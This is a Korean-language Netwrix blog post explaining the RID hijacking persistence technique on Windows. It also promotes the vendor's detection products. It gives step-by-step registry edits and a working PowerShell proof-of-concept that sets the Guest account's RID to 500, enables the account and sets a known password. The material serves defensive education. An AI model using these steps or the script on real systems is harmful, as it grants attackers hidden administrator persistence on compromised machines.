RID hijacking은 Windows 시스템에 침투한 공격자가 사용하는 지속성(persistence) 기술입니다. 간단히 말해 공격자들은 로컬 Administrator 계정의 RID(상대 식별자)를 이용해 Guest 계정(또는 다른 로컬 계정)에 관리자 권한을 부여합니다. 그러면 일반적으로 Administrator 계정과 동일한 수준의 감시를 받지 않는 Guest 계정을 사용해 작업을 수행함으로써, 탐지되지 않은 상태에서 공격을 확장할 수 있습니다.
공격이 작동하는 방식
RID 하이재킹을 수행하려면 공격자가 이미 한 대의 시스템을 침해하고 관리자 권한 또는 SYSTEM 권한을 획득해야 합니다. 이는 Guest 계정의 RID 값을 관리자 계정의 RID와 동일하게 변경해야 하기 때문입니다. 해당 값은 다음과 같습니다:
- Administrator: 16진수 표기 0x1F4 (10진수 500)
- Guest: 16진수 표기 0x1F5 (10진수 501)
1단계. 레지스트리 편집기에서 SAM 키 아래의 Users 하위 키를 확인합니다. 그런 다음 000001F5 를 클릭하여 Guest 계정의 세부 정보를 확인합니다:
2단계. F 값에는 계정의 RID가 저장됩니다. 해당 값을 편집하려면 값을 마우스 오른쪽 버튼으로 클릭하고 Modify 메뉴에서 선택하세요. '이진 값 편집(Edit Binary Value)' 창이 열립니다:
3단계. 오프셋 30에 값 0x1F5가 있는데, 이것이 Guest 계정의 RID입니다. 해당 값을 0x1F4로 간단히 변경하면 되며, 0x1F4는 Administrator 계정의 RID입니다.
Guest 계정에서 whoami 명령을 실행하면, Guest 계정이 이제 표시된 SID의 마지막 부분(10진수로 500)인 Administrator RID를 갖게 되었음을 확인할 수 있습니다:
개념 증명(Proof of Concept) 스크립트
이 취약점에 대해 개념 증명(Proof of Concept)을 실행할 때 사용할 수 있는 스크립트입니다( GitHub에서도 제공됩니다):
<#
Date 10/24/2018
Author: Kevin Joyce
Description: RID Hijacking - runs PowerShell as SYSTEM and modifies a registry value associated with the Guest account. Sets the RID to 500 (Administrator), enables and sets the password for the Guest account. The objective of this script is to be a proof of concept for a RID Hijacking persistence technique. This technique allows an attacker to use the Guest account with administrative privileges.
USE WITH CAUTION. STEALTHBITS TECHNOLOGIES, INC. IS NOT RESPONSIBLE FOR ANY DAMAGES CAUSED BY ATTEMPTING TO USE THIS SCRIPT. IT IS POSSIBLE TO CORRUPT THE GUEST ACCOUNT IF SOMETHING GOES WRONG. IT IS SUGGESTED THAT THIS BE DONE ON A VIRTUAL MACHINE AFTER A SNAPSHOT HAS BEEN TAKEN.
#>
#set path of target key
$key = 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5'
#get content of target value
$binaryValue = (Get-ItemProperty -Path $key -Name "F")."F"
#exports contents of current registry values, allows to roll back if corruption occurs
reg export 'HKLM\SAM\SAM\Domains\Account\Users\000001F5' .\export.reg
Write-Host 'Registry key exported.'
#change guest RID at offset 0x30 to 244 (500) - default 245 - to set the RID back to 501 change $newValue below to 245
$newValue = 244
if ($binaryValue[48] -notin (244,245)){
throw 'Unknown value set at offset 0x30. Expected values: 244 or 245. Current value: ' + $binaryValue[48] +'.'
stop
} else {
$binaryvalue[48] = $newValue
Write-Host 'Value at 0x30 set to ' $binaryValue[48]
}
#enable guest account at offset 0x38 to 20 - default 21 - to disable guest account change $newValue below to 21
$newvalue = 20
if ($binaryValue[56] -notin (20,21)){
throw 'Unknown value set at offset 0x38. Expected values: 20 or 21. Current value: ' + $binaryValue[56]+'.'
stop
} else {
$binaryvalue[56] = $newvalue
Write-Host 'Value at 0x38 set to ' $binaryValue[56]
}
#iterate through every position from original value converting to hexadecimal and storing in new variable
$hexValue = ''
for ($i =0; $i -lt $binaryValue.length; $i++){
$hexValue += "{0:x2}" -f $binaryValue[$i]
}
Write-Host 'You are about to change the RID and enable the Guest account. Press enter to continue.'
pause
#set value of F to contents of variable
reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F5" /v F /t REG_BINARY /d $hexValue /f
Write-Host 'Guest account enabled and RID set to 500.'
#set Guest password
$password = '!Password123!'
net user guest $password
Write-Host 'Guest account password set to' $password
Write-Host ""
Write-Host "Open a command prompt as Guest to see the new RID and privileges associated with the Guest account. Pressing enter will continue the script and roll back all changes besides the password of the Guest account."
Write-Host ""
Write-Host "To run a command promp as Guest, shift+right click cmd.exe and select Run as different user. When prompted enter .\Guest for the username and $password as the password. This will spawn a command prompt window. Once this pops up, enter 'whoami /all | more' to see information about the Guest account. Once complete, you can come back to this screen and press enter to continue."
pause
#imports exported contents of previous registry keys, rolls back all changes
reg import .\export.reg
Write-Host 'Registry key rolled back to original.'
Write-Host 'Proof of concept complete.'
pause
Netwrix가 어떻게 도와드릴 수 있는지
Netwrix는 RID hijacking( RID 하이재킹 )에 대응하는 데 도움이 되는 두 가지 솔루션을 제공합니다:
- Netwrix Privileged Access Management solution 는 RID hijacking( RID 하이재킹 )에서 발생하듯, 권한 있는 계정과 관련된 의심스러운 활동—사용자 계정을 수정하려는 시도 포함—을 식별할 수 있게 해줍니다. 또한 강력한 password policies 를 적용하여 애초에 권한 있는 계정에 대한 무단 액세스를 방지하고, 권한 있는 계정의 사용을 권한 상승이 필요한 작업에만 제한할 수 있도록 지원합니다.
- Netwrix Change Tracker 는 보안 구성에 대한 변경 사항을 감사(감시)합니다. 여기에는 Active Directory 계정의 RID 값 변경도 포함됩니다.
공유하기
더 알아보기
저자 소개
Kevin Joyce
제품 관리 책임자
Netwrix의 제품 관리( Product Management ) 책임자입니다. Kevin은 사이버 보안에 대한 열정이 있으며, 특히 공격자들이 조직 환경을 악용하기 위해 사용하는 전술과 기술을 이해하는 데 집중합니다. Active Directory 및 Windows 보안에 초점을 맞춰 제품 관리 분야에서 8년의 경험을 쌓아, 조직이 Identity, 인프라 및 데이터를 보호할 수 있도록 솔루션을 구축하는 데 그 열정을 더했습니다.